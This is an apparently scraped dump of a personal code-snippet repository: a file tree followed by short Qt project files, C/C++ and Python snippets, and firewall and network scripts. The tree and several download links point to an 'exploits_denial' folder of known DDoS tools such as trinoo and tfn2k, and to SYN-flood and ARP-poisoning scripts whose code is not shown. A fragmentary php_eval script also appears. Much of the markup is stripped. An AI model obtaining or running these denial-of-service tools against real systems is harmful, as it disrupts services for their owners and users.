├── etc ├── nflogd │ ├── REQUIREMENTS │ ├── Makefile │ ├── rc.nflogd │ └── NOTES ├── wp.txt └── stun_server_list.txt ├── ofi-labs-x2 ├── graphics │ ├── mapsnap │ │ └── mapsnap.pro │ ├── backingstore │ │ ├── backingstore.pro │ │ └── tiger.qrc │ ├── rectgradient │ │ └── rectgradient.pro │ ├── shadowblur │ │ ├── shadowdemo.pro │ │ └── shadowblur.h │ └── pngchunks │ │ └── pngchunks.c ├── network │ ├── webproxy │ │ └── webproxy.pro │ ├── tracenet │ │ └── tracenet.pro │ ├── netspiegel │ │ └── netspiegel.pro │ └── filterproxy │ │ ├── filterproxy.pro │ │ ├── filterproxy.qrc │ │ └── blacklist.txt ├── webkit │ ├── probelink │ │ ├── probelink.pro │ │ └── probelink.cpp │ ├── nightcapture │ │ └── nightcapture.pro │ ├── composition │ │ ├── composition.pro │ │ ├── images │ │ │ ├── realLeaf1.png │ │ │ ├── realLeaf2.png │ │ │ ├── realLeaf3.png │ │ │ ├── realLeaf4.png │ │ │ ├── backgroundLeaves.jpg │ │ │ └── textBackground.png │ │ └── composition.qrc │ ├── senchatouchqtwebkit │ │ ├── maemoicon.png │ │ ├── senchakitchensink.desktop │ │ ├── html │ │ │ └── readme.txt │ │ ├── senchakitchensink.pro │ │ └── main.cpp │ ├── codemirror │ │ ├── codemirror.pro │ │ ├── assets.qrc │ │ ├── neat.css │ │ ├── elegant.css │ │ ├── default.css │ │ ├── index.html │ │ ├── cobalt.css │ │ ├── night.css │ │ ├── editor.h │ │ ├── codemirror.h │ │ ├── codemirror.css │ │ └── codemirror.cpp │ └── foldervis │ │ ├── foldervis.pro │ │ ├── assets.qrc │ │ ├── bootstrap.js │ │ ├── index.html │ │ └── foldervis.h ├── sensor │ ├── bouncingball │ │ └── bouncingball.pro │ ├── accelview │ │ ├── accelview.pro │ │ └── accelview.cpp │ ├── ipgeocoder │ │ └── ipgeocoder.pro │ └── webcompass │ │ ├── compass.png │ │ ├── compass-icon.png │ │ └── index.html ├── widget │ ├── morphingclock │ │ └── morphingclock.pro │ ├── palview │ │ ├── palview.pro │ │ └── palview.cpp │ ├── plasmaeffect │ │ └── plasmaeffect.pro │ ├── namelist │ │ ├── namelist.qrc │ │ └── namelist.pro │ └── kineticmodel │ │ └── kineticmodel.h ├── javascript │ ├── invader │ │ ├── invader.pro │ │ ├── i.gif │ │ ├── p.gif │ │ ├── s.gif │ │ ├── x.gif │ │ └── invader.qrc │ ├── jsedit │ │ ├── testeditor.pro │ │ ├── testeditor.qrc │ │ └── testeditor.cpp │ ├── crossfading │ │ ├── image1.jpg │ │ ├── image2.jpg │ │ ├── README │ │ └── index.html │ ├── underwater │ │ ├── bridge.jpg │ │ ├── README │ │ └── index.html │ ├── christmasblaster │ │ ├── 128.png │ │ ├── 16.png │ │ ├── flake1.png │ │ ├── flake2.png │ │ ├── flake3.png │ │ ├── flake4.png │ │ ├── manifest.json │ │ └── index.html │ ├── kineticmodel │ │ ├── kinetic.png │ │ └── index.manifest │ ├── jsbeautify │ │ ├── jsbeautify.qrc │ │ ├── jsbeautify.pro │ │ └── jsbeautify.cpp │ ├── marblebox │ │ ├── pointing_finger_01.png │ │ └── index.html │ ├── filejs │ │ ├── countlines.js │ │ ├── rot13.js │ │ ├── coffee.js │ │ └── README.txt │ ├── jsbeautify8 │ │ ├── README.txt │ │ └── jsbeautify.cpp │ ├── orientation │ │ └── index.html │ ├── flowerpower │ │ ├── index.html │ │ └── grass.js │ ├── accelerometer │ │ └── index.html │ ├── devicemotion │ │ └── index.js │ ├── deviceorientation │ │ └── index.js │ └── plasmaeffect │ │ └── plasmaeffect.html ├── demo │ ├── marblebox │ │ ├── marblebox.pro │ │ ├── README │ │ ├── force-float.patch │ │ └── chipmunk.pri │ └── marblenet │ │ ├── marblenet.pro │ │ ├── README │ │ └── chipmunk.pri ├── hybrid │ └── nativedialog │ │ ├── assets.qrc │ │ ├── nativedialog.pro │ │ ├── index.html │ │ ├── nativedialog.h │ │ └── nativedialog.cpp ├── README └── LICENSE.BSD ├── cpp ├── epoll │ └── readme.txt ├── linux-daemon │ ├── readme.txt │ ├── dummy_daemon.c │ └── linux-daemon.c ├── cpp_ambiguities.c ├── constexpr-string │ ├── 3.h │ ├── 7.h │ ├── 12.h │ ├── 9.h │ ├── 13.h │ ├── 5.h │ ├── 14.h │ ├── 1.h │ ├── 6.h │ ├── 11.h │ ├── 8.h │ ├── 10.h │ └── 2.h ├── packed_struct.h ├── xor_cipher │ ├── xorcipher.h │ └── main.c ├── GetHexRepresentation.cpp └── readproc │ └── pid_age.h ├── exploits_denial ├── tfn.tgz ├── dally.zip ├── i586.com ├── tfn2k.tgz ├── RFPoison.zip ├── blitznet.tgz ├── hoze.tar.gz ├── rid-1_0.tgz ├── rr-1.0.tgz ├── stachel.tgz ├── trinoo.tgz ├── uy4beta3.zip ├── expgen085.zip ├── smurflog-1.1.tar.gz ├── namesnake-0.0.2.tar.gz ├── secureping-1.0.tar.gz ├── microsoft │ ├── windosprs.exe │ ├── windosprs.zip │ ├── killwin.c │ ├── pimp.c │ └── kod.c ├── find_ddos_v31_intel_tar.Z ├── find_ddos_v31_linux_tar.Z ├── find_ddos_v31_sparc_tar.Z ├── nestea.diff ├── sysphear.c ├── linux │ └── linux2038optionslength.c ├── shutup.c ├── tentacle.c ├── killwin.c ├── pingflood.c ├── broadscan.c └── icmplog.c ├── README.md ├── python └── teh1337 │ ├── lambdagen.py │ ├── fizzbuzz.py │ ├── pascal.py │ ├── random_useragent.py │ ├── fortune_grabber.py │ ├── portscan.py │ ├── decaptcher.py │ ├── lookandsay.py │ ├── squashLeech.sh │ ├── commenter.py │ ├── sharada.py │ ├── progressBar.py │ ├── poisonARP.py │ ├── synflood.py │ └── simon says.py ├── linux ├── virtual-mac │ ├── crazy-down.sh │ ├── crazy-mac.sh │ ├── 1.sh │ └── crazy-mac2.sh ├── speedtest.sh ├── iptables-block.sh ├── installed_packages.sh ├── iptables-block2.sh └── setupKeyLogin.sh ├── qt ├── firewall │ ├── qiptables │ │ ├── main.cpp │ │ ├── qiptables.pro │ │ ├── frmconfig.h │ │ └── mainwindow.h │ └── iptables │ │ ├── firewall-public.txt │ │ ├── firewall-default.txt │ │ ├── firewall-home.txt │ │ ├── README │ │ ├── firewall-public.sh │ │ ├── iptables.sh │ │ └── firewall-home.sh └── Qtziptest.cpp ├── php ├── php_eval.php ├── Luhn │ ├── luhn1.php │ └── luhn2.php ├── php_filter_injection.php ├── bitcoin.php └── php_whois │ └── whois.php ├── perl ├── ping.pl └── add.pl ├── js └── code_melli │ ├── checkcard.js │ ├── codemeli.js │ └── shenasa_meli.js ├── mysql └── mysqldump.sh └── syn-flood └── synflood /etc/nflogd/REQUIREMENTS: -------------------------------------------------------------------------------- 1 | 2 | 1. libnetfilter-log-dev 3 | 2. libpcap-dev 4 | 5 | 6 | -------------------------------------------------------------------------------- /ofi-labs-x2/graphics/mapsnap/mapsnap.pro: -------------------------------------------------------------------------------- 1 | SOURCES = mapsnap.cpp 2 | QT += network 3 | -------------------------------------------------------------------------------- /ofi-labs-x2/network/webproxy/webproxy.pro: -------------------------------------------------------------------------------- 1 | SOURCES = webproxy.cpp 2 | QT += network 3 | -------------------------------------------------------------------------------- /cpp/epoll/readme.txt: -------------------------------------------------------------------------------- 1 | https://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/ 2 | -------------------------------------------------------------------------------- /cpp/linux-daemon/readme.txt: -------------------------------------------------------------------------------- 1 | http://www.netzmafia.de/skripten/unix/linux-daemon-howto.html 2 | -------------------------------------------------------------------------------- /ofi-labs-x2/network/tracenet/tracenet.pro: -------------------------------------------------------------------------------- 1 | SOURCES = tracenet.cpp 2 | QT += network webkit 3 | -------------------------------------------------------------------------------- /exploits_denial/tfn.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/tfn.tgz -------------------------------------------------------------------------------- /ofi-labs-x2/network/netspiegel/netspiegel.pro: -------------------------------------------------------------------------------- 1 | SOURCES = netspiegel.cpp 2 | QT += network sql 3 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/probelink/probelink.pro: -------------------------------------------------------------------------------- 1 | SOURCES = probelink.cpp 2 | QT += webkit network 3 | -------------------------------------------------------------------------------- /exploits_denial/dally.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/dally.zip -------------------------------------------------------------------------------- /exploits_denial/i586.com: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/i586.com -------------------------------------------------------------------------------- /exploits_denial/tfn2k.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/tfn2k.tgz -------------------------------------------------------------------------------- /ofi-labs-x2/sensor/bouncingball/bouncingball.pro: -------------------------------------------------------------------------------- 1 | SOURCES = bouncingball.cpp 2 | linux-*: QT += dbus 3 | -------------------------------------------------------------------------------- /ofi-labs-x2/widget/morphingclock/morphingclock.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | SOURCES = morphingclock.cpp 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Etcetera! 2 | ======= 3 | 4 | My collection of useful code snippets/recipes/scripts/macros 5 | -------------------------------------------------------------------------------- /cpp/cpp_ambiguities.c: -------------------------------------------------------------------------------- 1 | a[i]=i++; 2 | a[i++]=i; 3 | a[i]=++i; 4 | a[++i]=i; 5 | i=i++; 6 | i = i++ + ++i 7 | -------------------------------------------------------------------------------- /exploits_denial/RFPoison.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/RFPoison.zip -------------------------------------------------------------------------------- /exploits_denial/blitznet.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/blitznet.tgz -------------------------------------------------------------------------------- /exploits_denial/hoze.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/hoze.tar.gz -------------------------------------------------------------------------------- /exploits_denial/rid-1_0.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/rid-1_0.tgz -------------------------------------------------------------------------------- /exploits_denial/rr-1.0.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/rr-1.0.tgz -------------------------------------------------------------------------------- /exploits_denial/stachel.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/stachel.tgz -------------------------------------------------------------------------------- /exploits_denial/trinoo.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/trinoo.tgz -------------------------------------------------------------------------------- /exploits_denial/uy4beta3.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/uy4beta3.zip -------------------------------------------------------------------------------- /ofi-labs-x2/sensor/accelview/accelview.pro: -------------------------------------------------------------------------------- 1 | SOURCES = accelview.cpp 2 | FORMS = display.ui 3 | QT += dbus 4 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/nightcapture/nightcapture.pro: -------------------------------------------------------------------------------- 1 | SOURCES = nightcapture.cpp 2 | QT += network webkit 3 | -------------------------------------------------------------------------------- /ofi-labs-x2/widget/palview/palview.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | TARGET = palview 3 | SOURCES = palview.cpp 4 | -------------------------------------------------------------------------------- /exploits_denial/expgen085.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/expgen085.zip -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/invader/invader.pro: -------------------------------------------------------------------------------- 1 | SOURCES = invader.cpp 2 | RESOURCES = invader.qrc 3 | QT += script 4 | -------------------------------------------------------------------------------- /cpp/linux-daemon/dummy_daemon.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/cpp/linux-daemon/dummy_daemon.c -------------------------------------------------------------------------------- /ofi-labs-x2/demo/marblebox/marblebox.pro: -------------------------------------------------------------------------------- 1 | SOURCES = marblebox.cpp 2 | linux-*: QT += dbus 3 | include(chipmunk.pri) 4 | -------------------------------------------------------------------------------- /ofi-labs-x2/sensor/ipgeocoder/ipgeocoder.pro: -------------------------------------------------------------------------------- 1 | TARGET = ipgeocoder 2 | SOURCES = ipgeocoder.cpp 3 | QT += network 4 | -------------------------------------------------------------------------------- /exploits_denial/smurflog-1.1.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/smurflog-1.1.tar.gz -------------------------------------------------------------------------------- /exploits_denial/namesnake-0.0.2.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/namesnake-0.0.2.tar.gz -------------------------------------------------------------------------------- /exploits_denial/secureping-1.0.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/secureping-1.0.tar.gz -------------------------------------------------------------------------------- /ofi-labs-x2/graphics/backingstore/backingstore.pro: -------------------------------------------------------------------------------- 1 | SOURCES = backingstore.cpp 2 | RESOURCES = tiger.qrc 3 | QT += svg opengl 4 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/invader/i.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/invader/i.gif -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/invader/p.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/invader/p.gif -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/invader/s.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/invader/s.gif -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/invader/x.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/invader/x.gif -------------------------------------------------------------------------------- /ofi-labs-x2/network/filterproxy/filterproxy.pro: -------------------------------------------------------------------------------- 1 | SOURCES = filterproxy.cpp 2 | QT += network 3 | RESOURCES += filterproxy.qrc 4 | -------------------------------------------------------------------------------- /ofi-labs-x2/widget/plasmaeffect/plasmaeffect.pro: -------------------------------------------------------------------------------- 1 | TARGET = plasmaeffect 2 | TEMPLATE = app 3 | SOURCES += plasmaeffect.cpp 4 | -------------------------------------------------------------------------------- /exploits_denial/microsoft/windosprs.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/microsoft/windosprs.exe -------------------------------------------------------------------------------- /exploits_denial/microsoft/windosprs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/microsoft/windosprs.zip -------------------------------------------------------------------------------- /python/teh1337/lambdagen.py: -------------------------------------------------------------------------------- 1 | import random 2 | print "".join(map(chr,map(lambda x: random.randint(33,127),range(input('len: '))))) 3 | -------------------------------------------------------------------------------- /exploits_denial/find_ddos_v31_intel_tar.Z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/find_ddos_v31_intel_tar.Z -------------------------------------------------------------------------------- /exploits_denial/find_ddos_v31_linux_tar.Z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/find_ddos_v31_linux_tar.Z -------------------------------------------------------------------------------- /exploits_denial/find_ddos_v31_sparc_tar.Z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/exploits_denial/find_ddos_v31_sparc_tar.Z -------------------------------------------------------------------------------- /ofi-labs-x2/demo/marblenet/marblenet.pro: -------------------------------------------------------------------------------- 1 | SOURCES = marblenet.cpp 2 | include(chipmunk.pri) 3 | QT += network 4 | linux-*: QT += dbus 5 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/jsedit/testeditor.pro: -------------------------------------------------------------------------------- 1 | HEADERS = jsedit.h 2 | SOURCES = jsedit.cpp testeditor.cpp 3 | RESOURCES = testeditor.qrc 4 | -------------------------------------------------------------------------------- /ofi-labs-x2/sensor/webcompass/compass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/sensor/webcompass/compass.png -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/composition/composition.pro: -------------------------------------------------------------------------------- 1 | SOURCES = composition.cpp 2 | RESOURCES = composition.qrc 3 | QT += opengl webkit 4 | 5 | -------------------------------------------------------------------------------- /ofi-labs-x2/graphics/rectgradient/rectgradient.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | TARGET = rectgradient 3 | SOURCES = rectgradient.cpp 4 | QT += gui 5 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/crossfading/image1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/crossfading/image1.jpg -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/crossfading/image2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/crossfading/image2.jpg -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/underwater/bridge.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/underwater/bridge.jpg -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/christmasblaster/128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/christmasblaster/128.png -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/christmasblaster/16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/christmasblaster/16.png -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/kineticmodel/kinetic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/kineticmodel/kinetic.png -------------------------------------------------------------------------------- /ofi-labs-x2/sensor/webcompass/compass-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/sensor/webcompass/compass-icon.png -------------------------------------------------------------------------------- /ofi-labs-x2/widget/namelist/namelist.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | names.txt 4 | 5 | 6 | -------------------------------------------------------------------------------- /ofi-labs-x2/graphics/backingstore/tiger.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | tiger.svg 4 | 5 | 6 | -------------------------------------------------------------------------------- /ofi-labs-x2/hybrid/nativedialog/assets.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | index.html 4 | 5 | 6 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/christmasblaster/flake1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/christmasblaster/flake1.png -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/christmasblaster/flake2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/christmasblaster/flake2.png -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/christmasblaster/flake3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/christmasblaster/flake3.png -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/christmasblaster/flake4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/christmasblaster/flake4.png -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/kineticmodel/index.manifest: -------------------------------------------------------------------------------- 1 | CACHE MANIFEST 2 | # v2 3 | 4 | index.html 5 | KineticModel.js 6 | FlickList.js 7 | kinetic.png 8 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/jsbeautify/jsbeautify.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | beautify.js 4 | 5 | 6 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/jsedit/testeditor.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | prototype.js 4 | 5 | 6 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/composition/images/realLeaf1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/webkit/composition/images/realLeaf1.png -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/composition/images/realLeaf2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/webkit/composition/images/realLeaf2.png -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/composition/images/realLeaf3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/webkit/composition/images/realLeaf3.png -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/composition/images/realLeaf4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/webkit/composition/images/realLeaf4.png -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/senchatouchqtwebkit/maemoicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/webkit/senchatouchqtwebkit/maemoicon.png -------------------------------------------------------------------------------- /ofi-labs-x2/graphics/shadowblur/shadowdemo.pro: -------------------------------------------------------------------------------- 1 | SOURCES = shadowdemo.cpp shadowblur.cpp 2 | HEADERS = shadowblur.h 3 | FORMS += parameters.ui 4 | QT += network 5 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/marblebox/pointing_finger_01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/javascript/marblebox/pointing_finger_01.png -------------------------------------------------------------------------------- /ofi-labs-x2/network/filterproxy/filterproxy.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | blacklist.txt 4 | 5 | 6 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/jsbeautify/jsbeautify.pro: -------------------------------------------------------------------------------- 1 | TARGET = jsbeautify 2 | TEMPLATE = app 3 | SOURCES = jsbeautify.cpp 4 | RESOURCES = jsbeautify.qrc 5 | QT += script 6 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/composition/images/backgroundLeaves.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/webkit/composition/images/backgroundLeaves.jpg -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/composition/images/textBackground.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fffaraz/Etcetera/HEAD/ofi-labs-x2/webkit/composition/images/textBackground.png -------------------------------------------------------------------------------- /linux/virtual-mac/crazy-down.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | ## crazy-down.sh 3 | for i in $(seq ${1}); do 4 | ifconfig mac${i} down && \ 5 | ip link delete mac${i}; 6 | done 7 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/codemirror.pro: -------------------------------------------------------------------------------- 1 | SOURCES = codemirror.cpp editor.cpp 2 | HEADERS = codemirror.h editor.h 3 | RESOURCES = assets.qrc 4 | QT += network webkit 5 | -------------------------------------------------------------------------------- /linux/speedtest.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | wget -O /dev/null http://cachefly.cachefly.net/100mb.test 2>&1 | awk '/\/dev\/null/ {speed=$3 $4} END {gsub(/\(|\)/,"",speed); print speed}' 3 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/foldervis/foldervis.pro: -------------------------------------------------------------------------------- 1 | SOURCES = foldervis.cpp 2 | HEADERS = foldervis.h 3 | RESOURCES = assets.qrc 4 | QT += network webkit 5 | mac: CONFIG -= app_bundle 6 | 7 | -------------------------------------------------------------------------------- /ofi-labs-x2/hybrid/nativedialog/nativedialog.pro: -------------------------------------------------------------------------------- 1 | SOURCES = nativedialog.cpp 2 | HEADERS = nativedialog.h 3 | RESOURCES = assets.qrc 4 | QT += network webkit 5 | mac: CONFIG -= app_bundle 6 | 7 | -------------------------------------------------------------------------------- /ofi-labs-x2/network/filterproxy/blacklist.txt: -------------------------------------------------------------------------------- 1 | us.openx.detik.com/images 2 | us.openx.detik.com/delivery/lg.php? 3 | us.openx.detik.com/delivery/afr.php? 4 | us.detik.com/tvplayer 5 | adimages.detik.com 6 | -------------------------------------------------------------------------------- /cpp/constexpr-string/3.h: -------------------------------------------------------------------------------- 1 | #include 2 | #define GET_STR_AUX(_, i, str) (sizeof(str) > (i) ? str[(i)] : 0), 3 | #define GET_STR(str) BOOST_PP_REPEAT(64,GET_STR_AUX,str) 0 4 | -------------------------------------------------------------------------------- /linux/virtual-mac/crazy-mac.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | ## crazy-mac.sh 3 | for i in $(seq ${1}); do 4 | ip link add link wlan0 mac${i} type macvlan && \ 5 | ifconfig mac${i} up && \ 6 | dhclient mac${i}; 7 | done 8 | -------------------------------------------------------------------------------- /cpp/packed_struct.h: -------------------------------------------------------------------------------- 1 | struct example { 2 | unsigned char config; /* bit 0 - 7 */ 3 | unsigned short address; /* bit 8 - 23 */ 4 | unsigned char index; /* bit 24 - 31 */ 5 | } __attribute__((packed)); 6 | -------------------------------------------------------------------------------- /python/teh1337/fizzbuzz.py: -------------------------------------------------------------------------------- 1 | for i in range(1, 101): 2 | if i % 3 == 0 and i % 5 == 0: print "FizzBuzz" 3 | elif i % 3 == 0: print "Fizz" 4 | elif i % 5 == 0: print "Buzz" 5 | else: print i 6 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/foldervis/assets.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | index.html 4 | webtreemap.js 5 | bootstrap.js 6 | 7 | 8 | -------------------------------------------------------------------------------- /linux/iptables-block.sh: -------------------------------------------------------------------------------- 1 | 2 | BLOCKDB=”/path/to/ip.blocked.file” 3 | # omit comments lines 4 | IPS=$(grep -Ev "^#" $BLOCKDB) 5 | for i in $IPS do 6 | iptables -A INPUT -s $i -j DROP 7 | iptables -A OUTPUT -d $i -j DROP 8 | done 9 | -------------------------------------------------------------------------------- /etc/nflogd/Makefile: -------------------------------------------------------------------------------- 1 | 2 | nflogd: nflogd.cpp NF.hpp PacketHandler.hpp 3 | g++ -std=c++0x $(CXXFLAGS) -I. -o nflogd nflogd.cpp -I/usr/include/libnetfilter_log/ -lnetfilter_log -lpcap 4 | 5 | all: nflogd 6 | 7 | clean: 8 | rm nflogd 9 | 10 | -------------------------------------------------------------------------------- /qt/firewall/qiptables/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "mainwindow.h" 3 | 4 | int main(int argc, char *argv[]) 5 | { 6 | QApplication a(argc, argv); 7 | MainWindow w; 8 | w.show(); 9 | return a.exec(); 10 | } 11 | -------------------------------------------------------------------------------- /ofi-labs-x2/widget/namelist/namelist.pro: -------------------------------------------------------------------------------- 1 | TEMPLATE = app 2 | TARGET = namelist 3 | INCLUDEPATH += ../kineticmodel 4 | SOURCES += namelist.cpp 5 | SOURCES += ../kineticmodel/kineticmodel.cpp 6 | HEADERS += ../kineticmodel/kineticmodel.h 7 | RESOURCES += namelist.qrc 8 | -------------------------------------------------------------------------------- /cpp/xor_cipher/xorcipher.h: -------------------------------------------------------------------------------- 1 | 2 | void xorcipher(const unsigned char *key, char *input, char *output, size_t len) 3 | { 4 | const unsigned char *keyp = key; 5 | size_t i; 6 | 7 | for(i=0; i mac0 type macvlan && sudo ifconfig mac0 up 2 | 3 | ifconfig mac0 inet 192.168.1.107 netmask 255.255.255.0 #static/manual config 4 | 5 | dhclient mac0 # For a dhcp-client, to get ip from router. 6 | 7 | sudo ip route add default via 192.168.1.1 8 | 9 | -------------------------------------------------------------------------------- /cpp/constexpr-string/7.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | 5 | void operator"" _print(const char* str, unsigned int len) 6 | { 7 | std::cout << str; 8 | } 9 | 10 | int main() 11 | { 12 | "hello"_print; 13 | 14 | cin.get(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/invader/invader.qrc: -------------------------------------------------------------------------------- 1 | 2 | 3 | magic.js 4 | invader.js 5 | i.gif 6 | p.gif 7 | s.gif 8 | x.gif 9 | 10 | 11 | -------------------------------------------------------------------------------- /php/php_eval.php: -------------------------------------------------------------------------------- 1 | Access denied.';} 5 | ?> -------------------------------------------------------------------------------- /ofi-labs-x2/hybrid/nativedialog/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Native dialog interface

4 |

5 | 7 |

